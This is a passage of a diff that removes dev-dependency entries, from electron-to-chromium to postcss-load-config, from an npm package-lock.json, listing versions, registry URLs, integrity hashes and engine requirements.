- }, - "funding": { - "url": "https://github.com/fb55/domutils?sponsor=1" - } - }, - "node_modules/electron-to-chromium": { - "version": "1.4.173", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.173.tgz", - "integrity": "sha512-Qo3LnVW6JRNhD32viSdPebxKI7K+3WeBDjU1+Q2yZS83zAh8C2LyPpzTimlciv6U74KpY9n/0ESAhUByRke0jw==", - "dev": true - }, - "node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true - }, - "node_modules/entities": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", - "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", - "dev": true, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" - } - }, - "node_modules/escalade": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", - "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", - "dev": true, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/estree-walker": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", - "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", - "dev": true - }, - "node_modules/fast-glob": { - "version": "3.2.11", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", - "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", - "dev": true, - "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.4" - }, - "engines": { - "node": ">=8.6.0" - } - }, - "node_modules/fastq": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", - "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", - "dev": true, - "dependencies": { - "reusify": "^1.0.4" - } - }, - "node_modules/fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "dependencies": { - "to-regex-range": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/fs-extra": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", - "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", - "dev": true, - "dependencies": { - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", - "dev": true - }, - "node_modules/fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", - "dev": true, - "hasInstallScript": true, - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", - "dev": true - }, - "node_modules/get-caller-file": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - "dev": true, - "engines": { - "node": "6.* || 8.* || >= 10.*" - } - }, - "node_modules/get-stdin": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz", - "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==", - "dev": true, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/globby": { - "version": "12.2.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-12.2.0.tgz", - "integrity": "sha512-wiSuFQLZ+urS9x2gGPl1H5drc5twabmm4m2gTR27XDFyjUHJUNsS8o/2aKyIF6IoBaR630atdher0XJ5g6OMmA==", - "dev": true, - "dependencies": { - "array-union": "^3.0.1", - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.7", - "ignore": "^5.1.9", - "merge2": "^1.4.1", - "slash": "^4.0.0" - }, - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/graceful-fs": { - "version": "4.2.10", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", - "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==", - "dev": true - }, - "node_modules/has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", - "dev": true, - "dependencies": { - "function-bind": "^1.1.1" - }, - "engines": { - "node": ">= 0.4.0" - } - }, - "node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/ignore": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", - "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", - "dev": true, - "engines": { - "node": ">= 4" - } - }, - "node_modules/inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", - "dev": true, - "dependencies": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "node_modules/inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "node_modules/is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "dev": true, - "dependencies": { - "binary-extensions": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/is-builtin-module": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-3.1.0.tgz", - "integrity": "sha512-OV7JjAgOTfAFJmHZLvpSTb4qi0nIILDV1gWPYDnDJUTNFM5aGlRAhk4QcT8i7TuAleeEV5Fdkqn3t4mS+Q11fg==", - "dev": true, - "dependencies": { - "builtin-modules": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/is-core-module": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.9.0.tgz", - "integrity": "sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==", - "dev": true, - "dependencies": { - "has": "^1.0.3" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-module": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz", - "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==", - "dev": true - }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true, - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/is-reference": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/is-reference/-/is-reference-1.2.1.tgz", - "integrity": "sha512-U82MsXXiFIrjCK4otLT+o2NA2Cd2g5MLoOVXUZjIOhLurrRxpEXzI8O0KZHr3IjLvlAH1kTPYSuqer5T9ZVBKQ==", - "dev": true, - "dependencies": { - "@types/estree": "*" - } - }, - "node_modules/jest-worker": { - "version": "26.6.2", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", - "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", - "dev": true, - "dependencies": { - "@types/node": "*", - "merge-stream": "^2.0.0", - "supports-color": "^7.0.0" - }, - "engines": { - "node": ">= 10.13.0" - } - }, - "node_modules/jest-worker/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/jest-worker/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "dev": true - }, - "node_modules/jsonfile": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", - "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", - "dev": true, - "dependencies": { - "universalify": "^2.0.0" - }, - "optionalDependencies": { - "graceful-fs": "^4.1.6" - } - }, - "node_modules/lilconfig": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz", - "integrity": "sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==", - "dev": true, - "engines": { - "node": ">=10" - } - }, - "node_modules/lodash.memoize": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", - "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", - "dev": true - }, - "node_modules/lodash.uniq": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", - "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", - "dev": true - }, - "node_modules/magic-string": { - "version": "0.25.9", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", - "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", - "dev": true, - "dependencies": { - "sourcemap-codec": "^1.4.8" - } - }, - "node_modules/mdn-data": { - "version": "2.0.14", - "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", - "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", - "dev": true - }, - "node_modules/merge-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", - "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", - "dev": true - }, - "node_modules/merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "dev": true, - "engines": { - "node": ">= 8" - } - }, - "node_modules/micromatch": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", - "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", - "dev": true, - "dependencies": { - "braces": "^3.0.2", - "picomatch": "^2.3.1" - }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/nanoid": { - "version": "3.3.4", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz", - "integrity": "sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==", - "dev": true, - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/node-releases": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.5.tgz", - "integrity": "sha512-U9h1NLROZTq9uE1SNffn6WuPDg8icmi3ns4rEl/oTfIle4iLjTliCzgTsbaIFMq/Xn078/lfY/BL0GWZ+psK4Q==", - "dev": true - }, - "node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/normalize-url": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", - "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", - "dev": true, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/nth-check": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", - "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", - "dev": true, - "dependencies": { - "boolbase": "^1.0.0" - }, - "funding": { - "url": "https://github.com/fb55/nth-check?sponsor=1" - } - }, - "node_modules/once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", - "dev": true, - "dependencies": { - "wrappy": "1" - } - }, - "node_modules/path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/path-parse": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", - "dev": true - }, - "node_modules/path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/picocolors": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", - "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==", - "dev": true - }, - "node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "dev": true, - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss": { - "version": "8.4.14", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.14.tgz", - "integrity": "sha512-E398TUmfAYFPBSdzgeieK2Y1+1cpdxJx8yXbK/m57nRhKSmk1GB2tO4lbLBtlkfPQTDKfe4Xqv1ASWPpayPEig==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - } - ], - "dependencies": { - "nanoid": "^3.3.4", - "picocolors": "^1.0.0", - "source-map-js": "^1.0.2" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/postcss-calc": { - "version": "8.2.4", - "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", - "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", - "dev": true, - "dependencies": { - "postcss-selector-parser": "^6.0.9", - "postcss-value-parser": "^4.2.0" - }, - "peerDependencies": { - "postcss": "^8.2.2" - } - }, - "node_modules/postcss-cli": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-9.1.0.tgz", - "integrity": "sha512-zvDN2ADbWfza42sAnj+O2uUWyL0eRL1V+6giM2vi4SqTR3gTYy8XzcpfwccayF2szcUif0HMmXiEaDv9iEhcpw==", - "dev": true, - "dependencies": { - "chokidar": "^3.3.0", - "dependency-graph": "^0.11.0", - "fs-extra": "^10.0.0", - "get-stdin": "^9.0.0", - "globby": "^12.0.0", - "picocolors": "^1.0.0", - "postcss-load-config": "^3.0.0", - "postcss-reporter": "^7.0.0", - "pretty-hrtime": "^1.0.3", - "read-cache": "^1.0.0", - "slash": "^4.0.0", - "yargs": "^17.0.0" - }, - "bin": { - "postcss": "index.js" - }, - "engines": { - "node": ">=12" - }, - "peerDependencies": { - "postcss": "^8.0.0" - } - }, - "node_modules/postcss-colormin": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.0.tgz", - "integrity": "sha512-WdDO4gOFG2Z8n4P8TWBpshnL3JpmNmJwdnfP2gbk2qBA8PWwOYcmjmI/t3CmMeL72a7Hkd+x/Mg9O2/0rD54Pg==", - "dev": true, - "dependencies": { - "browserslist": "^4.16.6", - "caniuse-api": "^3.0.0", - "colord": "^2.9.1", - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-convert-values": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.2.tgz", - "integrity": "sha512-c6Hzc4GAv95B7suy4udszX9Zy4ETyMCgFPUDtWjdFTKH1SE9eFY/jEpHSwTH1QPuwxHpWslhckUQWbNRM4ho5g==", - "dev": true, - "dependencies": { - "browserslist": "^4.20.3", - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-discard-comments": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", - "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", - "dev": true, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-discard-duplicates": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", - "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", - "dev": true, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-discard-empty": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", - "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", - "dev": true, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-discard-overridden": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", - "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", - "dev": true, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-import": { - "version": "14.1.0", - "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-14.1.0.tgz", - "integrity": "sha512-flwI+Vgm4SElObFVPpTIT7SU7R3qk2L7PyduMcokiaVKuWv9d/U+Gm/QAd8NDLuykTWTkcrjOeD2Pp1rMeBTGw==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.0.0", - "read-cache": "^1.0.0", - "resolve": "^1.1.7" - }, - "engines": { - "node": ">=10.0.0" - }, - "peerDependencies": { - "postcss": "^8.0.0" - } - }, - "node_modules/postcss-load-config": { - "version": "3.1.4", - "resolved": 